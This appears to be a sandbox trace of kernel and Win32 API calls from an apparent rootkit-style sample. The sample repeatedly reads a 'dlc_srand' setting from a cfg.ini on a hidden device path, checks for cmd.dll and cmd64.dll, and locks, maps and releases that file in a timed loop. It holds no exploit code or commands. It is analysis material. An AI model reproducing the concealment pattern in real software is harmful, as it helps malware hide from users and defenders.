MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.496] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.496] IdePortDispatch () returned 0x103 [0120.496] KeWaitForMutexObject () returned 0x0 [0120.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.497] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.497] IdePortDispatch () returned 0x103 [0120.497] KeWaitForMutexObject () returned 0x0 [0120.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.497] KeLeaveCriticalRegion () [0120.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.497] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.497] KeEnterCriticalRegion () [0120.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.497] KeLeaveCriticalRegion () [0120.497] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.497] KeEnterCriticalRegion () [0120.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.497] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.497] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.497] KeLeaveCriticalRegion () [0120.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.498] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.498] KeEnterCriticalRegion () [0120.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.498] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.498] KeLeaveCriticalRegion () [0120.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.498] ReleaseMutex (hMutex=0xf0) returned 1 [0120.498] Sleep (dwMilliseconds=0x124f80) [0120.511] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.511] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.511] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.511] KeEnterCriticalRegion () [0120.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.512] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.512] IdePortDispatch () returned 0x103 [0120.512] KeWaitForMutexObject () returned 0x0 [0120.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.512] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.512] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.512] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.512] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.512] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbaf10 [0120.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.512] KeLeaveCriticalRegion () [0120.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.512] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.512] KeEnterCriticalRegion () [0120.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.512] KeLeaveCriticalRegion () [0120.512] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.512] KeEnterCriticalRegion () [0120.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.512] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.512] IdePortDispatch () returned 0x103 [0120.512] KeWaitForMutexObject () returned 0x0 [0120.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.513] KeLeaveCriticalRegion () [0120.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.513] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.513] KeEnterCriticalRegion () [0120.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347e000 [0120.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.513] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.513] IdePortDispatch () returned 0x103 [0120.513] KeWaitForMutexObject () returned 0x0 [0120.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.513] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.513] IdePortDispatch () returned 0x103 [0120.513] KeWaitForMutexObject () returned 0x0 [0120.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.513] KeLeaveCriticalRegion () [0120.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.514] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.514] KeEnterCriticalRegion () [0120.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] KeLeaveCriticalRegion () [0120.514] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.514] KeEnterCriticalRegion () [0120.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.514] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] KeLeaveCriticalRegion () [0120.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.514] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.514] KeEnterCriticalRegion () [0120.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] ExFreePoolWithTag (P=0xfffffa8003bbaf10, Tag=0x0) [0120.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.514] KeLeaveCriticalRegion () [0120.514] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.514] ReleaseMutex (hMutex=0xf0) returned 1 [0120.514] Sleep (dwMilliseconds=0x124f80) [0120.528] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.528] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.528] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.528] KeEnterCriticalRegion () [0120.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.529] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.529] IdePortDispatch () returned 0x103 [0120.529] KeWaitForMutexObject () returned 0x0 [0120.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.529] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.529] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.529] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.529] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.529] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.529] KeLeaveCriticalRegion () [0120.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.529] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.529] KeEnterCriticalRegion () [0120.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.529] KeLeaveCriticalRegion () [0120.529] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.529] KeEnterCriticalRegion () [0120.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.529] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.529] IdePortDispatch () returned 0x103 [0120.529] KeWaitForMutexObject () returned 0x0 [0120.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.530] KeLeaveCriticalRegion () [0120.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.530] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.530] KeEnterCriticalRegion () [0120.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0120.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.530] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.530] IdePortDispatch () returned 0x103 [0120.530] KeWaitForMutexObject () returned 0x0 [0120.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.530] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.530] IdePortDispatch () returned 0x103 [0120.530] KeWaitForMutexObject () returned 0x0 [0120.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.530] KeLeaveCriticalRegion () [0120.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.531] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.531] KeEnterCriticalRegion () [0120.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] KeLeaveCriticalRegion () [0120.531] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.531] KeEnterCriticalRegion () [0120.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.531] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba780, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] KeLeaveCriticalRegion () [0120.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.531] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.531] KeEnterCriticalRegion () [0120.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.531] KeLeaveCriticalRegion () [0120.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.531] ReleaseMutex (hMutex=0xf0) returned 1 [0120.531] Sleep (dwMilliseconds=0x124f80) [0120.545] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.545] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.545] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.545] KeEnterCriticalRegion () [0120.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.545] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.545] IdePortDispatch () returned 0x103 [0120.545] KeWaitForMutexObject () returned 0x0 [0120.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.545] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.545] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.545] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.545] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.545] KeLeaveCriticalRegion () [0120.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.545] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.545] KeEnterCriticalRegion () [0120.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.545] KeLeaveCriticalRegion () [0120.545] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.546] KeEnterCriticalRegion () [0120.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.546] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.546] IdePortDispatch () returned 0x103 [0120.546] KeWaitForMutexObject () returned 0x0 [0120.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.546] KeLeaveCriticalRegion () [0120.546] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.546] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.546] KeEnterCriticalRegion () [0120.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0120.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.546] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.546] IdePortDispatch () returned 0x103 [0120.546] KeWaitForMutexObject () returned 0x0 [0120.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.547] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.547] IdePortDispatch () returned 0x103 [0120.547] KeWaitForMutexObject () returned 0x0 [0120.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.547] KeLeaveCriticalRegion () [0120.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.548] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.548] KeEnterCriticalRegion () [0120.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.548] KeLeaveCriticalRegion () [0120.549] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.549] KeEnterCriticalRegion () [0120.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.549] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.549] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.549] KeLeaveCriticalRegion () [0120.549] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.549] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.549] KeEnterCriticalRegion () [0120.549] 